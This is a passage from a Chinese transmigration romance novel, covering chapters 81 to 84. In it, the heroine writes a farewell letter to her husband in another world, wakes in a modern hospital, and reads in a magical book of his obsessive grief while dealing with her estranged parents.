她想了一下,唇角勾起一抹淡淡的弧度,随即手腕沉稳落下,在那雪白宣纸的第一列正中央,端端正正地写下了三个字—— 与夫书。 随后,像是打开了什么开关,笔尖不再犹豫,游走起来- 密室外间,白尘烬披上了一件宽大的黑色斗篷,布料厚重,几乎将他整个人都笼罩其中,连帽檐也压得极低,只露出线条紧绷的下颌和毫无血色的薄唇。 一名侍从在他身前,想要替他整理一下有些凌乱的衣襟和系好斗篷的带子。 然而,他的手刚伸过去,白尘烬便不耐地挥开了他。 白尘烬自行抬手,手背图腾骇人,指节骨节分明,抓住斗篷两侧的系带,快速而利落地打了个结。 冯维翰站在一侧,恭敬禀报:“少爷,马车已经备好在后门了,随时可以出发。” “不必用车,”他沙哑的声音从斗篷的遮掩下传来,“我自己回去。” 说完,抬腿便朝着密室出口走去。 冯维翰深知他此刻心急如焚,还有一身使不完的牛劲,啊 不,是使不完的力量。 再加上他向来固执己见,一旦决定,九头牛都拉不回来。 冯维翰只好快步跟在他身后,叮嘱道:“那少爷您路上千万小……” 最后一个“心”字还未完全出口,只见前方那道黑色的身影一动,整个人便已化作一道模糊的黑影,轻盈地跃上了高高的院墙。 随即几个起落,便彻底融入了暮色与愈发密集的风雪之中,消失不见了。 冯维翰徒劳地伸着手,望着他消失的方向,最终只能无奈地放下,低声嘀咕了一句: “瞧这急不可耐的劲儿……” 他转过身,见那名侍从还傻站在原地,望着屋顶发呆,不由得迁怒道:“还愣在这里干什么?还不快去把密室收拾干净!” 侍从吓得一哆嗦,连忙躬身应道:“是,小的这就去!” …… 共生苑内,夜色渐深,细雪无声飘落。 一道黑影悄无声息,落在主院中央,积雪被气浪冲开一圈涟漪。 “什么人!” 几乎是同时,几名值夜的护院立刻警觉,手持熊熊燃烧的火把,从不同方向迅速围拢上来。 刀刃出鞘,寒光在雪夜中闪烁,气氛瞬间剑拔弩张。 他们感受到来人身上那股压迫而来的危险气息,混合冰雪的冷冽,让人脊背发寒。 被围在中央的黑影微微动了一下,低哑的声音从厚重的斗篷下传出: “让开。” 这声音…… 护院们面面相觑,这嗓音嘶哑而压抑,与平日有些不同,他们迟疑了一瞬,但还是认出了出来。 他们犹豫了一下,最终还是不敢阻拦,缓缓地移开了武器,让出了一条通路。 躲在一旁屋檐下避雪的车夫也听到了动静,探出头来,辨认出那声音后,连忙小跑着上前。 他借着火把的光,看到白尘烬全身都笼罩在厚重的黑色斗篷里,帽檐遮住了大半张脸,肩头和帽顶都落满了尚未融化的积雪,显然是一路顶着风雪疾驰而来。 车夫虽然本能地对这位爷心存畏惧,但还是鼓起勇气说道:“白爷,你可算回来了!东家她近日一直在等你。” 他顿了顿,补充道,“还有,今日东家从外面回来,心情似乎不太好。” 寒风吹拂。 斗篷下传来那一声极轻的“嗯”,几乎被风雪掩了去。 随即,白尘烬不再停留,径直朝着他与沈染星居住的院落方向快步走去。 直到白尘烬的身影彻底消失在院门内,几名护院才松了口气,互相交换着眼神,低声议论起来: “刚才那……真是咱们爷吗?感觉气势比以前还吓人……” “看着是有点不像,裹得太严实了,而且那声音……” “肯定是他没错!你们没注意到吗?刚才老李提到东家想他,等他时候……啧,那雀跃的小模样,隔着那么厚的斗篷我都感觉出来了!” “那爷在东家面前,哪次不是这样……” “哈哈哈,你这么一说,还真是!” 细雪密密匝匝地落下,几人你知我知的笑声响起,好不热闹- 纪明月今日心情不错。 原因无他,白尘烬刺杀国师一事虽未竟全功,但国师重伤失踪,其麾下势力群龙无首,陷入了一片混乱。 纪明月趁此良机,暗中行事,竟真的让她寻到机会,盗取了国师从不离身的一根重要法杖,并从法杖的隐秘机关内,拿回了她许久前藏起来的东西。 她想不到自己刚起了这心思,便得了个千载难逢的机会。 更想不到,这样轻易便吧东西拿回来了。 纪明月摸了摸怀中那个冰凉坚硬的锦盒。 她几乎能想象到,当沈染星看到这个东西,一定会愿意拿着它,去与雪拂团聚。 正想着,踏进院门,便看到几名本该巡逻的护卫正聚在一处檐下,谈笑风生。 她立即冷了脸:“怎么,手里的活都干完了?如此清闲?” 话音刚落,那几名正说得兴高烈的护卫,顿时安静如鸡,个个打了个激灵,缩起了脖子。 几人心中暗暗叫苦不迭。 这位纪管事,手段凌厉,性子冷硬,对妖族严苛,对他们这些下属也从不假以辞色。 被她抓到偷懒耍滑,少不了一顿严厉责罚,扣月钱都是轻的。 他们连忙低下头,屏住呼吸,准备迎接接下来的狂风暴雨。 可预想中的斥责并未降临。 他们只听到纪明月冷淡道:“还杵在这里做什么?还不赶快去巡逻!” 几人闻言,皆是一怔。 就这么……轻飘飘地放过了? “既然明月姐都发话放过你们了,还不赶紧该干嘛干嘛去?” 石多磊的声音从旁边传来。 他快步走来,脸上也一扫前些日子,因乔阿盈胎像不稳而积压的愁云,眉宇间舒展了许多。 护卫们这才如梦初醒,如蒙大赦般,连忙朝着纪明月和石多磊胡乱行了个礼,脚步匆匆地四散开去。 纪明月看着他们仓皇的背影,并未再多言,目光转向石多磊。 “阿盈好些了吗?” 石多磊道:“她今日好多了,胎象彻底稳定下来,连害喜的症状也轻了许多,能稍微吃些东西了。她想着前些日子东家来看望时,正赶上她吐得天翻地覆,院里闹得鸡飞狗跳的,也没能好好说上话。如今身子爽利了一点,就念叨着想东家了,让我问问,东家明日是否得空,去我们那儿坐坐,说说话。” 纪明月闻言,点了点头。 两人目的地一致,于是一边聊着天,一边往里走- 沈染星落笔的速度并不快。 可她不曾料到,一旦开始书写,那些潜藏在心底的话语,竟如开闸的洪水般,汹涌而出。 原来,她还有那么多琐碎的事情需要交代…… 她还有那么多,那么多未竟之言,想对他说,想对他们说。 笔尖在纸上游走,沈染星越写,便越是感到一种前所未有的焦急与不舍。 时间像流沙,在指间飞快流逝,满腹的话,真的来不及倾诉了。 渐渐的,一股虚弱感从四肢百骸弥漫开来,握笔的手指开始发软、颤抖,几乎无法稳住那支轻巧的狼毫。 写出的字迹失去了平日的清秀工整,横竖撇捺变得歪歪扭扭。 写着写着,她忽然感到人中处一阵温热的痒意,下意识地抬手一抹。 指尖触到一片湿黏,低头看去,手背上竟是一片刺目的鲜红。 鼻血? 沈染星在心中暗骂: 慧觉那个臭和尚!给的什么破茶! 身体无力、心口抽痛也就罢了,怎么还会流鼻血! 这副模样,多狼狈啊…… 可是,鲜血并不会因为她的咒骂,而停止流淌。 温热的液体不断滴落,落在她正在书写的信笺上,晕开一小团,又一小团殷红的痕迹,与她黑色的墨迹交织在一起。 随后,视野也开始变得模糊,眼前的事物像是蒙上了一层水雾,不断晃动、重叠。 沈染星用力闭了闭眼,暂时驱散了这恼人的模糊,而后深吸一口气,固执地再次蘸墨,想要继续书写。 但这下,不仅仅是模糊了。 眼前骤然了一黑,如同短暂的失明,片刻后才恢复些许光亮,但周围的景物已黯淡了许多。 她知道,时间……真的要到了。 握着笔的手颤抖得愈发厉害,几乎是用尽了全身残余的力气,才能让笔尖在纸上艰难地滑动,留下几个歪斜不堪的字迹。 突然,心有所感,抬头,望向窗外。 目光涣散,在那一片模糊、晃动、如同浸在水中的视野里,漫天纷飞的雪花化作一片苍茫。 而在这苍茫天地间,有一道黑色身影,正以极快的速度冲破风雪,朝着她的方向疾奔而来。 随着他奔跑的动作,凛冽寒风吹落了他宽大的兜帽,风雪拂动他散落的墨发。 恍惚间,沈染星看见了他苍白得过分的脸,上面隐约浮着几道幽蓝色的荧光,像是冬日玻璃上凝结的冰花,在他脸颊上淡淡闪烁。 视线模糊得厉害,那些光纹随着他的靠近,时而清晰、时而消散,仿佛呼吸般明灭。 他急促的喘息在寒气中凝成白雾,整个人裹着细雪,离她越来越近。 真好看啊…… 沈染星本想撑着等他的,她想知道,他是真的,还是……只是幻象。 可事愿人违,下一瞬,她的意识便沉入了无边无际的浓郁黑暗。 握着笔的手彻底松开,毛笔滚落在地,在宣纸上拖出一道长长的,湿漉漉的墨痕。 身体也软软地伏倒在书案上- “她刚刚是不是动了一下?” 耳边响起的声音稚嫩而熟悉,像是很遥远,又像是近在耳边。 “是吧,我看到了,她的眼睛,睫毛颤了一下!” “大姐姐是不是要醒了啊?” 沈染星想动一下,然而,身体像是灌满了铅,沉重得让人陌生。 一阵规律的脚步声由远及近,脚步声停下后,温和而不失严肃的女声响起:“到时间了,小朋友们,快回去休息吧,不然护士阿姨要来找了。” “萧医生,”那个小女孩的声音再次响起,“大姐姐今天可以醒过来吗?我们明天还能来看她吗?” 萧医生正要回答,目光扫过病床,恰好对上了床上那人茫然的视线。 萧医生愣了一下,随即脸上绽开一个如释重负的笑。 她朝着病床的方向,轻轻抬了抬下巴:“喏,你们看,这不是已经醒过来了吗?” 第82章 给那女子殉情 萧医生熟练地将那群叽叽喳喳的小朋友, 请出了病房。 轻轻关上门,隔绝外面的喧闹。 她转身,朝着病床上的沈染星走来。 “你刚醒,精力还没完全恢复, 应付那群小皮猴稍微意思一下就行了, ”萧医生道, “跟他们太认真,只会累着你自己,不利于恢复。” 沈染星靠在枕头上, 眉眼带着淡淡笑意:“有他们在, 总归热闹一点, 看着他们活蹦乱跳的,心情也会不知不觉好起来。” “你呀,就是心思太重,想得太多。”萧医生一边说着,一边熟练地拿起挂在脖子上的听诊器, 将听头焐热, 贴在她心口位置。 检查完, 她继续道:“你父母那边的事, 看开点,那不是你能管得了,也强求不来的,他们有自己的生活和选择。” 若是往常,听到这样的劝慰, 沈染星即便不反驳,眼神也会黯淡下去,不甘和委屈都要溢出来。 但这一次, 她只是平静地点了点头,应道:“好。” 萧医生收起听诊器的手一顿。 她狐疑地抬起头:“你……没事吧?” 这反应太不正常了。 沈染星疑惑地回望她,随即又挪开视线:“你是医生,我身体有没有事,你居然问我?” “我不是说身体,”萧医生双手插进白大褂口袋,“我是说你的性子,你自己说说,以前每次我劝你别再纠结你父母那点事儿,你哪次不是跟我急眼?要么生闷气,要么就梗着脖子反驳我,说什么他们是我爸妈,怎么这次答应得这么干脆利落。” 沈染星沉默,目光落在自己放在雪白被单上的双手,指尖因为虚弱而微微泛白。 她父亲和母亲,真真是一对冤家。 即便离婚多年,各自组建了新的家庭,但只要一碰面,几乎还是如同火星撞地球,言语刻薄,互相攻讦,甚至能将陈芝麻烂谷子的旧账翻出来再吵一遍。 而他们无处宣泄的怒火和怨气,最终往往会蔓延到她这个纽带身上。 可即便如此,过去的她心底深处始终抱着一丝不切实际的幻想。 她不奢求破镜重圆,只希望他们能看在曾经夫妻一场,还有她这个女儿的份上,至少维持表面的和平。 她天真地以为,只要他们不再那样赤.裸裸地嫌恶、憎恨对方,自己这个夹在中间的人,或许就不会显得那么多余和可悲。 然而,经历了那场光怪陆离的异世之梦,再回头看,她竟有些无法理解,自己当初那份近乎偏执的坚持了。 强行要求两个早已视彼此如寇仇的人心平气和…… 这本身不就是一种最大的偏激和不切实际吗? 他们之间发生过太多不堪回首的往事,激烈争吵、互相砸东西,甚至动手差点把老房子点着,接连惊动了好几次警察和消防。 闹到如此地步,若能一笑泯恩仇,那才是世间最大的怪事。 见她眼神飘忽,萧医生没有再追问下去。 她熟练地记录下检查数据:“你好好休息,我晚点再来看你。” 说着,便准备离开。 沈染星依旧盯着自己的手,没有回应。 萧医生抬起的脚步又放了回去,她转过身,抱着手臂,更加笃定道:“沈染星,你今天醒来之后,真的……很不一样。” 沈染星还是没有看她,只是反问:“这话又是怎么说?” 萧医生走近两步,伸出食指,指节微弯,轻轻抵住沈染星的下巴,将她的脸抬了起来,迫使她的视线与自己相对。 “你从醒来到现在,似乎一直在有意无意地回避看我。” 沈染星被迫与她对视,目光飞快地扫过她的脸,然后迅速飘向一侧的墙壁。 妈的!让她怎么看! 那个世界的萧霁雪,某种意义上可以说是她的情敌。 而眼前的萧医生,竟然和萧霁雪长得有八分相似! 尤其是那双眼睛的形状和眉宇间的神韵,若是穿上同样的古装,说是双胞胎姐妹都有人信。 之前远远看了一眼萧霁雪,加上许久未见萧医生,一时没察觉,此刻静下心来细细端详,真的…… 太像了! 太别扭感了啊! “你太美了,”沈染星视线胡乱飘着,瞎胡扯,“我怕看久了,闪瞎我这双刚重见光明的眼。” 萧医生嗤笑一声,松开手,没好气道:“胡说八道……又怎么了?” 萧医生后面语气突然收紧,因为沈染星的视线猛地定格在床头柜,双眸瞠大。 见她不回答,萧医生伸手在她眼前晃了晃:“到底看到什么了?魂都丢了似的。” 沈染星缓缓地转头,看向萧医生:“这尊佛像是谁放在这里的?” 床头柜上,安静地立着一尊巴掌大小的佛像。 那佛像的开脸、神态、甚至是衣袂的线条,都与她在那个世界寺庙大殿中所见到的巨大佛像,几乎是一个模子刻出来的。 唯一的区别只是大小和材质,眼前这尊是木质雕刻,带着手工的痕迹。 萧医生顺着她的目光看去,了然道:“哦,这个啊。你昏迷的这三四天里,你妈妈来看过你几次。这是她去城外的什么寺庙给你求来的,听说还是她跟着寺里的师傅现学的,亲手一刀一刀刻的,说是给你祈福,盼着你早点醒。” 沈染星垂下了眼睫。 提到她母亲,这又是一个极其矛盾的存在。 当初冷着脸让她不要再出现,破坏其新家庭的是她,后来她现任丈夫生意上周转不灵,低声下气来找自己,以她为桥梁联系父亲,筹措了大笔资金的,也是她。 也不知是盼她,还是盼钱。 沈染星只是淡淡地“嗯”了一声,反应平静。 萧医生更加稀奇地看着她:“咦?你这么淡定?以前你妈妈但凡为你做一点点小事,比如给你带份你不爱喝,但据说有营养的汤,你都会毫无骨气地立刻服软,开心得找不着北,那样子,就差像条摇着尾巴的狗了。” “原来在萧医生眼里,我那么可爱的吗?” 萧医生:“……” 日子很平静,一连过了几日。 护士送来药,沈染星顺从地吞下那些颜色各异的药片,喝光了杯中的温水。 待人走后,她的目光却不由自主地,再次飘向了床头柜。 鬼使神差地,她伸出手,拉开了那个已经许久未曾动过的抽屉。 抽屉里东西不多,最上面安静躺着的,正是那本她穿越之前,在病床上翻看的,导致她进入那个光怪陆离世界的小说。 古朴的封面,熟悉的名字,此刻看来,有一种淡淡的疏离感。 沈染星这几日都在可以忽视这本书,犹豫了半晌,最终,她还是伸出手,将那份不算厚重的过往,从抽屉里拿了出来。 其实这本书的结局她早已看完。 如今回来了,或许与书中的那些人,那些事,真的再也毫无交集了。 他们只是故事里被设定好命运的角色,而她,一个意外的闯入者,如今已被彻底排除在故事之外。 往后,她只能作为一个彻底的旁观者,隔着冰冷的纸张,去回望那段奇异的经历…… 这般想着,沈染星慢悠悠地翻开了书页。 甫一打开,她的呼吸猛地一滞。 整个人如同被电流击中,猛地从病床上坐直了身子。 动作太过激烈,眼前顿时一阵天旋地转,熟悉的黑暗伴随着金星袭来。 该死…… 在那边习惯了那具健康强壮,甚至能一脚踹飞人的身体,如今再回到这具自幼便如同玻璃般易碎的身体里,使用起来还真是…… 有些没轻没重,难以适应。 她紧闭双眼,靠在床头,等待那阵剧烈的眩晕和心悸过去。 过了好一会儿,呼吸才渐渐平复,眼前的黑暗也逐渐褪去。 顾不上身体的不适,她立刻低下头,再次匆匆翻开手上的书,一连翻了几下。 没有! 什么都没有! 只有一片刺目的,空无一字的雪白! 这怎么可能…… 初读只是旁观客,再看已是局中人。 因为她早已深陷局中,所以才看不到其中的故事了吗? 沈染星的呼吸变得急促,心跳微微加速,胸口一阵闷痛。 …… 她尽量缓和了自己的心情,感觉胸口的闷痛消失,才再次伸出手,捏住书页的中段,然后将书竖起来,任由纸页哗啦啦地自然垂落。 不一会儿,她动作一顿。 并非全书皆空。 书页后半部分,大约从全书四分之三的位置开始,竟然……隐隐透出了字迹。 她的心跳再次漏了一拍。 她将书摊开,直接翻到了那有字迹的第一页,凝神看了起来。 入眼,便是标题:死别已吞声,生别长恻恻。 接下来的语句,叙述的口吻冷静而克制,带着一种旁观者的审视与淡淡的惋惜,这是属于萧霁雪的视角。 ……那日,细密的雪越下越大,最终化为漫天扯絮般的鹅毛大雪,狂风在窗外呼号,卷起千堆雪。 冯维翰大人的信使来得极其匆忙,几乎是踉跄着,闯入萧霁雪的临时居所,递上了一封信函。 信上言辞急切,只道少爷状态极危,望她速去劝说。 直到那时,她才从信使语无伦次的补充中得知—— 共生苑的那位沈东家,出事了。 在她听闻的诸多关于她的描述中,那是一位奇女子。 据说她机灵古怪,竟能通晓妖族语言,曾是国师座下颇为看重的弟子,却偏偏生了一副温和仁善的心肠,对妖族抱有超乎常人的同情与怜悯。 她做了那么多桩桩件件,等同于背叛师门,大逆不道的事情,可掌控着所有弟子生死的国师,却迟迟未曾动用“生死状”取她性命。 因此,在几乎所有知晓内情的人眼中,她的身份都笼罩着一层迷雾。 都认为她极有可能是一个更深沉的卧底,一个被国师安插在白尘烬身边,伺机给予致命一击的棋子。 然而,她的行为举止,却又全然看不出丝毫狠戾与算计,灵动得像一只狡黠又无害的小白兔。 萧霁雪几乎要被这种矛盾所迷惑,渐渐开始相信沈染星或许真有几分不同时…… 她出事了。 虽说传来的消息并非死讯,但也……生死不明。 无人知晓她身上究竟发生了什么。 是旧伤复发? 是遭了暗算? 还是那迟迟未曾落下的“生死状”终于发挥了作用? 众说纷纭。 但有人私下猜测,白尘烬或许知道真相。 因为,在她出事前,给他留下了一封信。 以萧霁雪对白尘烬的了解,他性格偏执,偏执到近乎疯魔,或许,正是那一封不知内容的信,勉强拴住了他即将彻底崩溃的理智,才没有让他在第一时间就彻底失控,化作只知毁灭的疯子。 但是,他当时的状态,也与之相差无几了。 听闻消息那日,共生苑内乱成了一锅粥。 他禁止任何人靠近沈染星所在的房间,抱着她,一遍,一遍,又一遍地,试图将自身那霸道而充满生机的妖力度过去,手指颤抖地探查她的脉搏、她的鼻息,她的温度,擦拭她面上的血迹。 慌乱又无措。 听说他就这样不眠不休地尝试、呼唤、乃至威胁了她整整一个晚上,怀里的身躯,却依旧没有任何回应。 黎明前最深的黑暗降临时,他周身压抑的戾气,终于压制不住,彻底爆发了,恐怖的威压席卷了整个院落,幽蓝的图腾在他皮肤下疯狂窜动,仿佛下一刻就要挣脱皮囊的束缚。 当时在场的所有人,包括冯维翰在内,都面色惨白,浑身战栗,几乎以为自己下一刻,就会被这失控的力量撕成碎片,绝无生还的可能。 然而,千钧一发之际,一页信笺在他面前飘落。 信笺沾染了几点暗红血渍,飘啊飘,很轻,很慢。 如同一剂镇定剂,渐渐安抚了他的狂乱。 没有人知道那封信上,究竟写了什么。 只知道,在白尘烬伸手接过信的瞬间,他周身那毁天灭地的恐怖气息,竟一瞬间收敛,退去了。 他沉默地弯下腰,将那封信拾起,珍重万分,紧紧攥在掌心。 然后,打横抱起她,用自己那件宽大的黑色斗篷,将怀中的人儿,包裹得严严实实。 一步一步,踏着满地的狼藉与积雪,将她抱离了那个房间。 自那之后,他便将自己与她,一同反锁在了那暗无天日的密室之中,再无音讯。 起初,冯维翰尚能保持几分镇定,毕竟少爷性情暴烈,行事出格也非一次两次。 可一连过去了三日,白尘烬也没有踏出过密室一步,甚至不允许任何人靠近密室。 于是,冯维翰生出了一个大胆且离谱的猜测—— 不好,他家少爷要给那女子殉情! 第83章 他开始慌了 也正是出于这份日益沉重的担忧, 冯维翰实在没了法子,才病急乱投医,一封加急密信,恳请萧霁雪务必前去劝说。 在所有知情者眼中, 白尘烬对她这个曾与他共患难, 在他最黑暗岁月里给予过一丝微光的人, 态度算是最为温和,最与众不同的。 或许,也只有她的话, 他能听进去半分。 萧霁雪收到信后, 心知此事非同小可, 立刻向陛下陈明情况,便马不停蹄,日夜兼程,再次赶回了这风波中心的方圆镇。 不出所料,凭借过往那点情分, 她很轻易地便进入了那间地下密室, 见到了那个将自己封闭在绝望深渊中的人。 …… 一字字嵌入沈染星的眼底, 牵扯着她的心脏。 沈染星仿佛能透过纸背, 看到萧霁雪踏入密室时的景象。 她的呼吸骤然变得急促,猛地合上了书。 随后控制不住地剧烈咳嗽起来,肺叶如同破风箱似的,每一次呼吸都带着灼痛感。 “咳咳……咳……” 刚巧查房路过门口的萧医生听到这不同寻常的动静,脸色一变, 立刻推门冲了进来。 沈染星只来得及抬眼,模糊地看到萧医生脸上写满了焦急,向她奔来。 下一秒, 她陷入了一片无边黑暗。 …… 不知过了多久,一种细微又持续的声音,传入她混沌的感知中。 嚓——嚓——嚓—— 是削木头的声音。 一下,又一下,节奏平稳,不紧不慢,带着一种近乎刻板的规律性。 在这绝对的黑暗里,这声音非但不能带来安宁,反而透着一股说不出的诡异和毛骨悚然。 可沈染星还是按捺不住好奇心,朝着声音的源头探寻。 黑暗中,她隐约看到了一个轮廓。 一个坐在简陋木桌前的背影。 那个背影孤寂,瘦削,肩胛骨的形状在单薄的衣料下清晰可见。 随着他每一次削刻的动作,那瘦削的背部便会微微起伏、牵动。 桌面上,只燃着一豆昏黄的烛火。 那光芒微弱得可怜,仅仅能勉强勾勒出他背影的轮廓和桌面的边缘,仿佛随时都会被周遭浓郁的黑暗吞噬。 光与暗,在这里粗暴地糅杂在一起。 这道背影突然转过身来。 沈染星心中涌起一股强烈的冲动,想要走近一些,想要看清那人的面容,看清他手中正在雕刻的是什么。 然而,或许是太过冲动…… ……她醒了。 沈染星无奈扶额,看着纯白的天花板- 那日,白尘烬怔怔地接住那封吹落的信,一双蓝眸,却仿佛真被这漫天冰雪冻伤了似,瞳孔轻颤,视线涣散了许久,才艰难地重新聚焦。 “与夫书”,最先蛮横地撞入他眼中的,便是这短短三个字。 这一瞬间,某种迟来的明悟击中了他。 他似乎第一次真正理解了大婚,缔结契约的意义。 那不仅仅是仪式,更是一种灵魂的宣告与羁绊的加深,是向天地,向彼此的承诺,从此命运交织,骨血相融,再也无法轻易割裂。 以至于他往后每次看着她沉睡的面容,都在想,如果他努力一些……再努力一些,以各种契约将她牢牢束缚在自己身边,让两人的联系紧密到超越时空的界限,那么,她是不是,就不会如此轻易地,以一种他完全无法理解的方式离开。 那时,他的眼睛漫起一层雾气,泪珠晶莹剔透,在月关下泛着破碎的微光,滴滴落下。 落在信纸上,落在点点血迹上。 血与泪交融。 纸上的字,迹烙进他的眼底,刻入他的心里—— “我先离开了。我说过,我是其他世界穿过来的灵魂,现在到了回去的时间了。我回去之后,这一具身体,没了灵魂,会陷入昏迷,所以拜托你,帮我好好照顾她。 若是你实在没空,或者不方便,那便交给石多磊吧,我家大业大,养一个昏迷的人,构不成什么负担。 只是再好的照顾,过了一段时间后,生命终究还是会慢慢流逝,那便把我葬了吧,葬在高山上,我喜欢山野,喜欢风,喜欢雪。 若是挂念,便给我刻一尊佛吧。对了,阿盈身体抱恙,我离开的消息,先瞒着她,因为……” 越往后,字体越是歪斜,虚浮,难以辨认,显然书写之人当时已力不从心。 可白尘烬还是一字一句地,偏执地看完了,用尽所有心力去辨认每一个字。 只是,他从未想过,在精神与灵魂的层面,原来他和她之间,隔着如此深不见底的鸿沟。 他甚至在想,从前在深深埋进沈染星身体,激烈冲击着她的时候,若是再说多些只言片语,两人的心,会不会就能靠得更近一些。 可是,没有如果。 其实……也没关系。 那时,他麻木地安慰自己。 心想,她如今这样沉睡着,不会再自作主张地离开,不会再走向别人。只有他可以陪在她身边,日夜看着她,抱着她这具尚存温热的躯壳。 这样似乎也不错。 共生苑里的那些人,纪明月、雪拂、乔阿盈……他们再也夺不走她的注意力,分不走她的笑容。 她不会反抗他的靠近,不会对他过于霸道的占有流露出不满,更不会对他将她关在这密室里的做法,产生任何异议…… 他好不容易骗服了自己。 然而,仅仅过了短短几天,他就惊恐地发现,他所迷恋、所深爱的,从来不是这一具静止的、失去灵魂的美丽皮囊,更不是这个了无生气、任由他摆布的她。 眼前这个沉睡的女子,开始变得越来越陌生。 他开始慌了。 他害怕时光流逝,会慢慢磨灭她鲜活的记忆;害怕自己终有一日,会连她笑起来的样子,生气时瞪他的眼神都记不清。 恰好此时,萧霁雪来寻他,他便顺势让她进来,让她去搜寻所有能找到的,关于灵魂、异界、起死回生的典籍,以及最适合雕刻的木料。 堆积如山的古籍被送入密室,他废寝忘食地翻阅,眼底的血丝日益浓重,却始终找不到任何能将她抢夺回来的方法。 然而,某日,在拿起刻刀,对着坚硬木料一笔一笔雕刻的时,当木屑纷飞,佛像的轮廓逐渐清晰时,却仿佛能感受到一丝微弱的,属于她的气息。 于是,他开始没日没夜地雕刻。 终于,某一次,他倏然回头,看到了一个人影。 是她,却又不是她。 她很陌生,很瘦,很弱,似乎一阵风便可以吹倒。 可那双望向他的眼睛,那眼神中,想要不顾一切奔向他的意图……又如此熟悉,灼热得几乎要烫伤他的灵魂。 白尘烬定定地看着那道虚幻的影子,浑身僵硬,几乎不敢有任何动作,连呼吸都放得极轻极缓,生怕一不小心,就如同之前无数次那样,将这好不容易才出现的幻影惊散。 他只敢这样远远地,贪婪又小心地看着她。 表面上平静无波,内里却早已天翻地覆,血液在血管里疯狂奔腾,心脏剧烈地撞击着胸腔,发出擂鼓般的轰鸣,脑海中嗡嗡作响,一片混乱的狂喜与恐惧交织。 可最终,她还是如同水中月、镜中花一般,无声无息地消散了。 接下来的一个月里,他几乎耗费了所有清醒的时间,不眠不休地雕刻佛像。仿佛只要佛像刻成,就能将她唤回,或者至少……能让他再次看到她。 他们都劝他,说他病了,让他停下来。 可白尘烬却在心里想,病了才好。 因为只有病了,才能看到她。 最好病得再重一些,再疯狂一些,这样看到她出现的频率,或许就能更高一些。 可这世道,哪能总是称心如意? 终于,自那之后,无论他如何耗尽心神,如何将自己折磨到油尽灯枯,那道魂牵梦萦的身影,再也没有出现在他的面前,连幻觉都吝于给予。 甚至无论用什么方法,也无法阻止,她□□的气息变得越来越弱。 希望彻底熄灭,取而代之的是更深的的绝望。 他又开始疯狂地翻书,一遍,又一遍,近乎自虐地重读那封早已倒背如流的信,试图从字里行间找出新的线索。 他开始动用所有能动用的力量,四处寻找那些可能连接两个世界的法子。 他整日整夜地无法入睡。 他知道自己已经彻底疯了,理智早已崩断。 他也知道,是自己把自己折腾到了这般药石无灵的境地。 可是,能让他见到她的“药”……已经没有了- 春和日丽,空气中弥漫着青草和泥土的清新气息。 沈染星坐在树荫下的轮椅上。 她有些郁闷。 昨天把书合上,今天再翻开时,那些文字已经消失了。 后面发生的事,对她而言,居然成了迷。 一只不知名的小鸟,扑棱着翅膀,落在了她轮椅的扶手上,歪着小脑袋,黑豆似的眼睛好奇地打量着这个人类。 沈染星思绪被打断,与鸟儿对视。 “小姐还是这样招小动物喜欢。” 一道温和而不失干练的女声在一旁响起。 沈染星缓缓转过头,看见一个年轻女子朝她走来,穿着黑色西服套裙,步伐干脆,手里还提着一个果篮。 她是陈秘书,父亲身边得力的员工之一。 沈染星笑得浅淡而平和:“对啊,看来我还不是一个太让人,或者说,让小动物讨厌的人。” 陈秘书走到她面前,将果篮放在一旁的小几上。 她此次前来的原因,两人心照不宣,无需多问。 无非是昨天她看书情绪激动,把自己呛到了……引发了一阵剧烈的咳嗽,差点背过气去,惊动了医生。 被自己呛到,还惊动了一群人,虽说是一件挺丢脸的事情,但医院还是按照惯例,通知了她的紧急联系人之一,代表她父亲的陈秘书。 每次她的病情稍有风吹草动,父亲那边总会第一时间派人前来探望,流程规范,态度客气,只是他本人,几乎没来过。 陈秘书听出了话语间的意思,蹲下身子,让自己的视线与坐在轮椅上的沈染星持平,语气公式化却又不失礼貌:“沈总听说您昨天有些不舒服,很担心,特意让我过来看看您。” “嗯,替我谢谢他的关心。” 沈染星点了点头。 “另外,”陈秘书继续汇报工作般说道,“前些日子,您母亲那边公司请求的注资事宜,沈总已经批复,款项昨天下午都已经全部办妥,划拨过去了。” “好。” 陈秘书看着她,按照惯例问道:“您有什么话,或者什么东西,需要我带给沈总的吗?” 沈染星闻言,认真地想了一下,然后说道:“替我谢谢他就行。” 陈秘书静静地等了一会儿,似乎在期待更多。 按照以往的经验,这位大小姐总会抓住这样的机会,让她带回去许多话,或者一些亲手做的小手工,亲手写的信之类的。 可这一次,沈染星只是安然地坐在那里,再无下文。 陈秘书不免有些惊讶,这位大小姐似乎和以前不太一样了……没了那股惶恐,反而多了几分从容。 这么一看,居然透出一丝她父亲的气度来。 陈秘书一向公事公办,不多言,不多问,这一次,实在压不住好奇心,多说了两句:“沈总他其实挺关心您身体的,只是最近集团事务实在太繁忙,您自己一定要注意身体,好好配合医生治疗。” 沈染星闻言,点头,刚想开口,目光却越过陈秘书,看到了住院部大楼门口走出来的两个人。 是她同母异父的弟弟,正跟在母亲一侧,两人脸上都带着轻松的笑意,似乎在商量着什么。 落在轮椅扶手上的小鸟被惊动,振翅飞走,消失在了枝叶间。 沈染星收回目光,转向陈秘书:“我知道了,你先回去吧,我妈妈他们一会儿过来,看到你在这里,又该黑脸了。” 她母亲一直对父亲那边的人,尤其是这位,代表父亲处理她们这边事务的陈秘书,没什么好脸色。 陈秘书多看了她几眼,心中暗暗惊叹,这淡淡吩咐的态度,真的…… 太像沈总了。 准确来说,更像沈总准备找人发难前的平静…… 她嗅到了风雨欲来的味道,立即站起身,又公式化地叮嘱了一句“您保重”,便转身沿着来路离开。 经过那对母子时,陈秘书朝着二人微微俯身,算是打过招呼。 那两人却像是完全没有看到她一般,目不斜视,谈笑风生地径直从她身边走过,仿佛她只是一团无形的空气。 陈秘书也不介意,反而嘲讽地勾了勾唇。 她对这两位拿了好处,还要当大爷的人,向来没什么好感。 沈染星瞥了一眼陈秘书离开的背影,随后定定看着朝她走来的母子。 第84章 他居然命人定了一口棺材…… 随着两人的走近, 沈染星终于看清了她的母亲,付夫人。 她身穿一件香槟色连衣裙,质地精良,眼角处生了细纹, 手里提着一个保温食盒, 正侧着头, 宠溺地看着身边高大却难掩稚气的儿子。 走到沈染星面前,付夫人随手将食盒放在轮椅旁的小几上,像是完成某种例行公事般, 随口打了声招呼:“染星, 今天感觉怎么样?” 话音未落, 便已自顾自地打开食盒盖子,开始盛汤,动作流畅。 付夫人儿子,付华,站在一侧, 双手插兜, 脸上带着明显的不耐烦, 目光游移, 似乎觉得待在这里纯属浪费时间。 